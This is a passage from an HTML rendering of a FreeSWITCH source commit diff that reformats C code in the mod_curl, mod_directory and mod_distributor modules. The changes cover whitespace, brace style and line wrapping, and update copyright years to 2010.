</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 url = switch_core_strdup(pool, argv[0]);
</span><del>-                
-                for (i =1; i < argc; i++) {
</del><ins>+
+                for (i = 1; i < argc; i++) {
</ins><span class="cx">                         if (!strcasecmp("headers", argv[i])) {
</span><span class="cx">                                 do_headers = SWITCH_TRUE;
</span><span class="cx">                         } else if (!strcasecmp("json", argv[i])) {
</span><span class="cx">                                 do_json = SWITCH_TRUE;
</span><del>-                        } else if ( !strcasecmp("get", argv[i]) ||
-                                                !strcasecmp("head", argv[i])) {
</del><ins>+                        } else if (!strcasecmp("get", argv[i]) || !strcasecmp("head", argv[i])) {
</ins><span class="cx">                                 method = switch_core_strdup(pool, argv[i]);
</span><span class="cx">                         } else if (!strcasecmp("post", argv[i])) {
</span><span class="cx">                                 method = "post";
</span><del>-                                if ( ++i < argc) {
</del><ins>+                                if (++i < argc) {
</ins><span class="cx">                                         postdata = switch_core_strdup(pool, argv[i]);
</span><span class="cx">                                         switch_url_decode(postdata);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -372,14 +369,14 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 http_data = do_lookup_url(pool, url, method, postdata);
</span><span class="cx">                 if (do_json) {
</span><span class="cx">                         stream->write_function(stream, "%s", print_json(pool, http_data));
</span><span class="cx">                 } else {
</span><span class="cx">                         if (do_headers) {
</span><span class="cx">                                 slist = http_data->headers;
</span><del>-                                while(slist) {
</del><ins>+                                while (slist) {
</ins><span class="cx">                                         stream->write_function(stream, "%s\n", slist->data);
</span><span class="cx">                                         slist = slist->next;
</span><span class="cx">                                 }
</span><span class="lines">@@ -390,11 +387,11 @@
</span><span class="cx">         }
</span><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><span class="cx">
</span><del>-usage:
</del><ins>+ usage:
</ins><span class="cx">         stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
</span><span class="cx">         switch_goto_status(status, done);
</span><del>-        
-done:
</del><ins>+
+ done:
</ins><span class="cx">         if (http_data && http_data->headers) {
</span><span class="cx">                 curl_slist_free_all(http_data->headers);
</span><span class="cx">         }
</span><span class="lines">@@ -414,7 +411,7 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">
</span><span class="cx">         memset(&globals, 0, sizeof(globals));
</span><del>-        
</del><ins>+
</ins><span class="cx">         globals.pool = pool;
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_API(api_interface, "curl", "curl API", curl_function, SYNTAX);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_directorymod_directoryc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_directory/mod_directory.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_directory/mod_directory.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_directory/mod_directory.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -40,19 +40,16 @@
</span><span class="cx"> static const char *global_cf = "directory.conf";
</span><span class="cx">
</span><span class="cx"> static char dir_sql[] =
</span><del>-"CREATE TABLE directory_search (\n"
-" hostname VARCHAR(255),\n"
-" uuid VARCHAR(255),\n"
-" extension VARCHAR(255),\n"
-" full_name VARCHAR(255),\n"
-" full_name_digit VARCHAR(255),\n"
-" first_name VARCHAR(255),\n"
-" first_name_digit VARCHAR(255),\n"
-" last_name VARCHAR(255),\n"
-" last_name_digit VARCHAR(255),\n"
-" name_visible INTEGER,\n"
-" exten_visible INTEGER\n"
-");\n";
</del><ins>+        "CREATE TABLE directory_search (\n"
+        " hostname VARCHAR(255),\n"
+        " uuid VARCHAR(255),\n"
+        " extension VARCHAR(255),\n"
+        " full_name VARCHAR(255),\n"
+        " full_name_digit VARCHAR(255),\n"
+        " first_name VARCHAR(255),\n"
+        " first_name_digit VARCHAR(255),\n"
+        " last_name VARCHAR(255),\n"
+        " last_name_digit VARCHAR(255),\n" " name_visible INTEGER,\n" " exten_visible INTEGER\n" ");\n";
</ins><span class="cx">
</span><span class="cx"> #define DIR_RESULT_ITEM "directory_result_item"
</span><span class="cx"> #define DIR_RESULT_SAY_NAME "directory_result_say_name"
</span><span class="lines">@@ -113,51 +110,52 @@
</span><span class="cx">         PFLAG_DESTROY = 1 << 0
</span><span class="cx"> } dir_flags_t;
</span><span class="cx">
</span><del>-static int digit_matching_keypad(char letter) {
</del><ins>+static int digit_matching_keypad(char letter)
+{
</ins><span class="cx">         int result = -1;
</span><del>-        switch(toupper(letter)) {
-                case 'A':
-                case 'B':
-                case 'C':
-                        result = 2;
-                        break;
-                case 'D':
-                case 'E':
-                case 'F':
-                        result = 3;
-                        break;
-                case 'G':
-                case 'H':
-                case 'I':
-                        result = 4;
-                        break;
-                case 'J':
-                case 'K':
-                case 'L':
-                        result = 5;
-                        break;
-                case 'M':
-                case 'N':
-                case 'O':
-                        result = 6;
-                        break;
-                case 'P':
-                case 'Q':
-                case 'R':
-                case 'S':
-                        result = 7;
-                        break;
-                case 'T':
-                case 'U':
-                case 'V':
-                        result = 8;
-                        break;
-                case 'W':
-                case 'X':
-                case 'Y':
-                case 'Z':
-                        result = 9;
-                        break;
</del><ins>+        switch (toupper(letter)) {
+        case 'A':
+        case 'B':
+        case 'C':
+                result = 2;
+                break;
+        case 'D':
+        case 'E':
+        case 'F':
+                result = 3;
+                break;
+        case 'G':
+        case 'H':
+        case 'I':
+                result = 4;
+                break;
+        case 'J':
+        case 'K':
+        case 'L':
+                result = 5;
+                break;
+        case 'M':
+        case 'N':
+        case 'O':
+                result = 6;
+                break;
+        case 'P':
+        case 'Q':
+        case 'R':
+        case 'S':
+                result = 7;
+                break;
+        case 'T':
+        case 'U':
+        case 'V':
+                result = 8;
+                break;
+        case 'W':
+        case 'X':
+        case 'Y':
+        case 'Z':
+                result = 9;
+                break;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -185,7 +183,7 @@
</span><span class="cx">                 if (*d) {
</span><span class="cx">                         *d = '\0';
</span><span class="cx">                 }
</span><del>-        }        
</del><ins>+        }
</ins><span class="cx">         return dst;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -206,7 +204,7 @@
</span><span class="cx">         status = switch_core_db_persistant_execute(db, sql, 1);
</span><span class="cx">         switch_core_db_close(db);
</span><span class="cx">
</span><del>-end:
</del><ins>+ end:
</ins><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_unlock(mutex);
</span><span class="cx">         }
</span><span class="lines">@@ -304,7 +302,7 @@
</span><span class="cx">                 switch_core_db_close(db);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-end:
</del><ins>+ end:
</ins><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_unlock(mutex);
</span><span class="cx">         }
</span><span class="lines">@@ -337,34 +335,32 @@
</span><span class="cx">
</span><span class="cx">         profile->config_str_pool.pool = profile->pool;
</span><span class="cx">
</span><del>-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "next-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                        &profile->next_key, "6", &config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "prev-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                        &profile->prev_key, "4", &config_dtmf, NULL, NULL);
</del><ins>+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "next-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->next_key, "6", &config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "prev-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->prev_key, "4", &config_dtmf, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile->config[i++], "terminator-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</span><del>-                        &profile->terminator_key, "#", &config_dtmf, NULL, NULL);
</del><ins>+                                                 &profile->terminator_key, "#", &config_dtmf, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile->config[i++], "switch-order-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</span><del>-                        &profile->switch_order_key, "*", &config_dtmf, NULL, NULL);
</del><ins>+                                                 &profile->switch_order_key, "*", &config_dtmf, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile->config[i++], "select-name-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</span><del>-                        &profile->select_name_key, "1", &config_dtmf, NULL, NULL);
</del><ins>+                                                 &profile->select_name_key, "1", &config_dtmf, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile->config[i++], "new-search-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</span><del>-                        &profile->new_search_key, "3", &config_dtmf, NULL, NULL);
</del><ins>+                                                 &profile->new_search_key, "3", &config_dtmf, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile->config[i++], "search-order", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</span><del>-                        &profile->search_order, "last_name", &profile->config_str_pool, NULL, NULL);
</del><ins>+                                                 &profile->search_order, "last_name", &profile->config_str_pool, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile->config[i++], "digit-timeout", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
</span><del>-                        &profile->digit_timeout, 3000, &config_int_digit_timeout, NULL, NULL);
</del><ins>+                                                 &profile->digit_timeout, 3000, &config_int_digit_timeout, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile->config[i++], "min-search-digits", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
</span><del>-                        &profile->min_search_digits, 3, &config_int_ht_0, NULL, NULL);
</del><ins>+                                                 &profile->min_search_digits, 3, &config_int_ht_0, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-menu-attempts", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
</span><del>-                        &profile->max_menu_attempt, 3, &config_int_ht_0, NULL, NULL);
</del><ins>+                                                 &profile->max_menu_attempt, 3, &config_int_ht_0, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-result", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
</span><del>-                        &profile->max_result, 5, &config_int_ht_0, NULL, NULL);
</del><ins>+                                                 &profile->max_result, 5, &config_int_ht_0, NULL, NULL);
</ins><span class="cx">
</span><span class="cx">         return profile;
</span><span class="cx">
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static dir_profile_t * load_profile(const char *profile_name)
</del><ins>+static dir_profile_t *load_profile(const char *profile_name)
</ins><span class="cx"> {
</span><span class="cx">         dir_profile_t *profile = NULL;
</span><span class="cx">         switch_xml_t x_profiles, x_profile, cfg, xml = NULL;
</span><span class="lines">@@ -413,7 +409,7 @@
</span><span class="cx">                 switch_core_hash_insert(globals.profile_hash, profile->name, profile);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-end:
</del><ins>+ end:
</ins><span class="cx">         switch_xml_free(xml);
</span><span class="cx">
</span><span class="cx">         return profile;
</span><span class="lines">@@ -451,7 +447,7 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static dir_profile_t * get_profile(const char *profile_name)
</del><ins>+static dir_profile_t *get_profile(const char *profile_name)
</ins><span class="cx"> {
</span><span class="cx">         dir_profile_t *profile = NULL;
</span><span class="cx">
</span><span class="lines">@@ -469,7 +465,8 @@
</span><span class="cx">         return profile;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t populate_database(switch_core_session_t *session, dir_profile_t * profile, const char *domain_name) {
</del><ins>+static switch_status_t populate_database(switch_core_session_t *session, dir_profile_t *profile, const char *domain_name)
+{
</ins><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><span class="cx">         char *sql = NULL;
</span><span class="lines">@@ -561,8 +558,9 @@
</span><span class="cx">                                         firstNameDigit = string_to_keypad_digit(firstName);
</span><span class="cx">
</span><span class="cx">                                         /* add user into DB */
</span><del>-                                        sql = switch_mprintf("insert into directory_search values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%d','%d')",
-                                                        globals.hostname, switch_core_session_get_uuid(session), id, fullName, fullNameDigit, firstName, firstNameDigit, lastName, lastNameDigit, name_visible, exten_visible);
</del><ins>+                                        sql = switch_mprintf("insert into directory_search values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%d','%d')",
+                                                                                 globals.hostname, switch_core_session_get_uuid(session), id, fullName, fullNameDigit, firstName, firstNameDigit,
+                                                                                 lastName, lastNameDigit, name_visible, exten_visible);
</ins><span class="cx">
</span><span class="cx">                                         if (sqlvalues) {
</span><span class="cx">                                                 sqltmp = sqlvalues;
</span><span class="lines">@@ -580,10 +578,10 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        sql = switch_mprintf("BEGIN;%s;COMMIT;",sqlvalues);
</del><ins>+        sql = switch_mprintf("BEGIN;%s;COMMIT;", sqlvalues);
</ins><span class="cx">         directory_execute_sql(sql, profile->mutex);
</span><span class="cx">
</span><del>-end:
</del><ins>+ end:
</ins><span class="cx">         switch_safe_free(sql);
</span><span class="cx">         switch_safe_free(sqlvalues);
</span><span class="cx">         switch_event_destroy(&xml_params);
</span><span class="lines">@@ -603,27 +601,27 @@
</span><span class="cx"> static switch_status_t on_dtmf(switch_core_session_t *session, void *input, switch_input_type_t itype, void *buf, unsigned int buflen)
</span><span class="cx"> {
</span><span class="cx">         switch (itype) {
</span><del>-                case SWITCH_INPUT_TYPE_DTMF:
-                        {
-                                switch_dtmf_t *dtmf = (switch_dtmf_t *) input;
-                                cbr_t *cbr = (cbr_t *) buf;
-                                cbr->digit = dtmf->digit;
-                                if (dtmf->digit == *cbr->profile->terminator_key || dtmf->digit == *cbr->profile->switch_order_key) {
-                                        return SWITCH_STATUS_BREAK;
-                                }
</del><ins>+        case SWITCH_INPUT_TYPE_DTMF:
+                {
+                        switch_dtmf_t *dtmf = (switch_dtmf_t *) input;
+                        cbr_t *cbr = (cbr_t *) buf;
+                        cbr->digit = dtmf->digit;
+                        if (dtmf->digit == *cbr->profile->terminator_key || dtmf->digit == *cbr->profile->switch_order_key) {
+                                return SWITCH_STATUS_BREAK;
+                        }
</ins><span class="cx">
</span><del>-                                if (strlen(cbr->digits) < sizeof(cbr->digits) - 2) {
-                                        int at = strlen(cbr->digits);
-                                        cbr->digits[at++] = dtmf->digit;
-                                        cbr->digits[at] = '\0';
-                                } else {
-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "DTMF buffer is full\n");
-                                        return SWITCH_STATUS_BREAK;
-                                }
</del><ins>+                        if (strlen(cbr->digits) < sizeof(cbr->digits) - 2) {
+                                int at = strlen(cbr->digits);
+                                cbr->digits[at++] = dtmf->digit;
+                                cbr->digits[at] = '\0';
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "DTMF buffer is full\n");
+                                return SWITCH_STATUS_BREAK;
</ins><span class="cx">                         }
</span><del>-                        break;
-                default:
-                        break;
</del><ins>+                }
+                break;
+        default:
+                break;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_BREAK;
</span><span class="lines">@@ -650,12 +648,12 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (zstr_buf(buf)) {
</span><del>-                switch_snprintf(macro, sizeof(macro), "phrase:%s:%d", DIR_RESULT_ITEM, cbt->want+1);
</del><ins>+                switch_snprintf(macro, sizeof(macro), "phrase:%s:%d", DIR_RESULT_ITEM, cbt->want + 1);
</ins><span class="cx">                 switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), 1, profile->terminator_key);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!zstr_buf(recorded_name) && zstr_buf(buf)) {
</span><del>- switch_ivr_read(session, 0, 1, recorded_name, NULL, buf, sizeof(buf), 1, profile->terminator_key);
</del><ins>+                switch_ivr_read(session, 0, 1, recorded_name, NULL, buf, sizeof(buf), 1, profile->terminator_key);
</ins><span class="cx">
</span><span class="cx">         }
</span><span class="cx">         if (zstr_buf(recorded_name) && zstr_buf(buf)) {
</span><span class="lines">@@ -667,7 +665,8 @@
</span><span class="cx">                 switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), 1, profile->terminator_key);
</span><span class="cx">         }
</span><span class="cx">         if (zstr_buf(buf)) {
</span><del>-                switch_snprintf(macro, sizeof(macro), "phrase:%s:%c,%c,%c,%c", DIR_RESULT_MENU, *profile->select_name_key, *profile->next_key, *profile->prev_key, *profile->new_search_key);
</del><ins>+                switch_snprintf(macro, sizeof(macro), "phrase:%s:%c,%c,%c,%c", DIR_RESULT_MENU, *profile->select_name_key, *profile->next_key, *profile->prev_key,
+                                                *profile->new_search_key);
</ins><span class="cx">                 switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), profile->digit_timeout, profile->terminator_key);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -688,7 +687,8 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-switch_status_t gather_name_digit(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params) {
</del><ins>+switch_status_t gather_name_digit(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params)
+{
</ins><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         cbr_t cbr;
</span><span class="lines">@@ -707,7 +707,7 @@
</span><span class="cx">
</span><span class="cx">                 /* Gather the user Name */
</span><span class="cx">
</span><del>-                switch_snprintf(macro, sizeof(macro), "%s:%c", (params->search_by_last_name?"last_name":"first_name"), *profile->switch_order_key);
</del><ins>+                switch_snprintf(macro, sizeof(macro), "%s:%c", (params->search_by_last_name ? "last_name" : "first_name"), *profile->switch_order_key);
</ins><span class="cx">                 switch_ivr_phrase_macro(session, DIR_INTRO, macro, NULL, &args);
</span><span class="cx">
</span><span class="cx">                 while (switch_channel_ready(channel)) {
</span><span class="lines">@@ -737,7 +737,8 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params) {
</del><ins>+switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params)
+{
</ins><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         char *sql = NULL;
</span><span class="cx">         char entry_count[80] = "";
</span><span class="lines">@@ -749,7 +750,10 @@
</span><span class="cx">         cbt.buf = entry_count;
</span><span class="cx">         cbt.len = sizeof(entry_count);
</span><span class="cx">
</span><del>-        sql = switch_mprintf("select count(*) from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%'", globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name?"last_name_digit":"first_name_digit"), params->digits);
</del><ins>+        sql =
+                switch_mprintf("select count(*) from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%'",
+                                         globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name ? "last_name_digit" : "first_name_digit"),
+                                         params->digits);
</ins><span class="cx">
</span><span class="cx">         directory_execute_sql_callback(profile->mutex, sql, sql2str_callback, &cbt);
</span><span class="cx">         switch_safe_free(sql);
</span><span class="lines">@@ -773,7 +777,10 @@
</span><span class="cx">         memset(&listing_cbt, 0, sizeof(listing_cbt));
</span><span class="cx">         listing_cbt.params = params;
</span><span class="cx">
</span><del>-        sql = switch_mprintf("select extension, full_name, last_name, first_name, name_visible, exten_visible from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%' order by last_name, first_name", globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name?"last_name_digit":"first_name_digit"), params->digits);
</del><ins>+        sql =
+                switch_mprintf
+                ("select extension, full_name, last_name, first_name, name_visible, exten_visible from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%' order by last_name, first_name",
+                 globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name ? "last_name_digit" : "first_name_digit"), params->digits);
</ins><span class="cx">
</span><span class="cx">         for (cur_entry = 0; cur_entry < result_count; cur_entry++) {
</span><span class="cx">                 listing_cbt.index = 0;
</span><span class="lines">@@ -812,7 +819,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-end:
</del><ins>+ end:
</ins><span class="cx">         switch_safe_free(sql);
</span><span class="cx">         return status;
</span><span class="cx">
</span><span class="lines">@@ -825,8 +832,8 @@
</span><span class="cx">         char *argv[6] = { 0 };
</span><span class="cx">         char *mydata = NULL;
</span><span class="cx">         const char *profile_name = NULL;
</span><del>-        const char *domain_name = NULL;
-        dir_profile_t * profile = NULL;
</del><ins>+        const char *domain_name = NULL;
+        dir_profile_t *profile = NULL;
</ins><span class="cx">         int x = 0;
</span><span class="cx">         char *sql = NULL;
</span><span class="cx">         search_params_t s_param;
</span><span class="lines">@@ -866,7 +873,7 @@
</span><span class="cx">                 s_param.search_by_last_name = 0;
</span><span class="cx">         }
</span><span class="cx">         attempts = profile->max_menu_attempt;
</span><del>-        s_param.try_again = 1;        
</del><ins>+        s_param.try_again = 1;
</ins><span class="cx">         while (switch_channel_ready(channel) && (s_param.try_again && attempts-- > 0)) {
</span><span class="cx">                 s_param.try_again = 0;
</span><span class="cx">                 gather_name_digit(session, profile, &s_param);
</span><span class="lines">@@ -895,7 +902,7 @@
</span><span class="cx">         sql = switch_mprintf("delete from directory_search where hostname = '%q' and uuid = '%q'", globals.hostname, switch_core_session_get_uuid(session));
</span><span class="cx">         directory_execute_sql(sql, profile->mutex);
</span><span class="cx">         switch_safe_free(sql);
</span><del>-        profile_rwunlock(profile);        
</del><ins>+        profile_rwunlock(profile);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_directory_load)
</span><span class="lines">@@ -954,7 +961,7 @@
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="cx">
</span><del>-        while((hi = switch_hash_first(NULL, globals.profile_hash))) {
</del><ins>+        while ((hi = switch_hash_first(NULL, globals.profile_hash))) {
</ins><span class="cx">                 switch_hash_this(hi, &key, &keylen, &val);
</span><span class="cx">                 profile = (dir_profile_t *) val;
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_distributormod_distributorc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_distributor/mod_distributor.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_distributor/mod_distributor.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_distributor/mod_distributor.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -64,7 +64,7 @@
</span><span class="cx"> static void destroy_node(struct dist_node *node)
</span><span class="cx"> {
</span><span class="cx">         struct dist_node *old;
</span><del>-        while(node) {
</del><ins>+        while (node) {
</ins><span class="cx">                 old = node;
</span><span class="cx">                 node = node->next;
</span><span class="cx">                 if (old->name) {
</span><span class="lines">@@ -78,7 +78,7 @@
</span><span class="cx"> {
</span><span class="cx">         struct dist_list *old;
</span><span class="cx">
</span><del>-        while(list) {
</del><ins>+        while (list) {
</ins><span class="cx">                 old = list;
</span><span class="cx">                 list = list->next;
</span><span class="cx">                 destroy_node(old->nodes);
</span><span class="lines">@@ -97,14 +97,14 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>-static int load_config(int reloading)
</del><ins>+static int load_config(int reloading)
</ins><span class="cx"> {
</span><del>-        struct dist_list *main_list=NULL, *new_list, *old_list=NULL, *lp=NULL;
</del><ins>+        struct dist_list *main_list = NULL, *new_list, *old_list = NULL, *lp = NULL;
</ins><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         char *cf = "distributor.conf";
</span><span class="cx">         switch_xml_t cfg, xml, lists, list, param;
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
</span><span class="cx">                 return SWITCH_STATUS_TERM;
</span><span class="lines">@@ -120,7 +120,7 @@
</span><span class="cx">         for (list = switch_xml_child(lists, "list"); list; list = list->next) {
</span><span class="cx">                 const char *name = switch_xml_attr(list, "name");
</span><span class="cx">                 const char *tweight = switch_xml_attr(list, "total-weight");
</span><del>-                struct dist_node *node, *np=NULL;
</del><ins>+                struct dist_node *node, *np = NULL;
</ins><span class="cx">                 int target_weight = 10;
</span><span class="cx">                 int accum = 0;
</span><span class="cx">
</span><span class="lines">@@ -128,30 +128,30 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing NAME!\n");
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!zstr(tweight)) {
</span><span class="cx">                         target_weight = atoi(tweight);
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_zmalloc(new_list, sizeof(*new_list));
</span><del>-                
</del><ins>+
</ins><span class="cx">                 new_list->name = strdup(name);
</span><span class="cx">                 new_list->last = -1;
</span><span class="cx">                 new_list->target_weight = target_weight;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (lp) {
</span><span class="cx">                         lp->next = new_list;
</span><span class="cx">                 } else {
</span><span class="cx">                         main_list = new_list;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 lp = new_list;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (param = switch_xml_child(list, "node"); param; param = param->next) {
</span><span class="cx">                         char *name = (char *) switch_xml_attr_soft(param, "name");
</span><span class="cx">                         char *weight_val = (char *) switch_xml_attr_soft(param, "weight");
</span><span class="cx">                         int weight = 0, tmp;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((tmp = atoi(weight_val)) < 1) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Weight %d value incorrect, must be > 0\n", tmp);
</span><span class="cx">                                 continue;
</span><span class="lines">@@ -163,24 +163,26 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (accum + tmp > lp->target_weight) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Target Weight %d already met, ignoring subsequent entries.\n", lp->target_weight);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Target Weight %d already met, ignoring subsequent entries.\n",
+                                                                 lp->target_weight);
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         accum += tmp;
</span><span class="cx">
</span><span class="cx">                         weight = lp->target_weight - tmp;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         if (weight < 0 || weight > lp->target_weight) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Weight %d value incorrect, must be between 1 and %d\n", weight, lp->target_weight);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Weight %d value incorrect, must be between 1 and %d\n", weight,
+                                                                 lp->target_weight);
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_zmalloc(node, sizeof(*node));
</span><span class="cx">                         node->name = strdup(name);
</span><span class="cx">                         node->weight = node->cur_weight = weight;
</span><del>-                        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                         if (np) {
</span><span class="cx">                                 np->next = node;
</span><span class="cx">                         } else {
</span><span class="lines">@@ -198,7 +200,7 @@
</span><span class="cx">
